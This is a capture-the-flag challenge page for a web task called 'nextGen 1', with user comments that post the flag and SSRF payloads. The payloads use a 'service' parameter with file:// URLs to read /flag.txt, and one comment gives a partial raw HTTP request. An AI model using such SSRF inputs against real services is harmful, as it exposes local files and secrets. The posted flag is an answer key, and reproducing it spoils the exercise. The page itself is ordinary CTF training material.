nextGen 1WEB 未解决
分数:
0
金币:
0
题目作者:
未知
一 血:
L010
一血奖励:
0金币
解 决:
682
提 示:
Flag is in the `/flag.txt` file of the web server
描 述:
> Simple monitoring app.
评论
差距从何而起 11天前
举报
shellmates{1T_W4S_4_qu1T3_3s4y_expl01tabL3_$$Rf}
MOCHAOLIN 16天前
举报
POST /request HTTP/1.1 Host: 82.157.146.43:17387 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gz
yun20231227 2月前
举报
改为POST请求 /request ?service=file:///flag.txt
我孤身一人 3月前
举报
环境貌似不行了
xiaoxiao972521 5月前
举报
service=file:////flag.txt
15614005380 7月前
举报
属于典型的SSRF漏洞,利用file协议读取flag
meilanzhuju 7月前
举报
服务器到底是怎么处理这个service的?是展示这个service指向的url的内容?
luskan 7月前
举报
源码最下方看js代码,按照代码内容构建请求,利用service参数夹带私货。
868954104 8月前
举报
shellmates{1T_W4S_4_qu1T3_3s4y_expl01tabL3_$$Rf} service=file://127.0.0.1/flag.txt
vchopin 9月前
举报
file:///flag.txt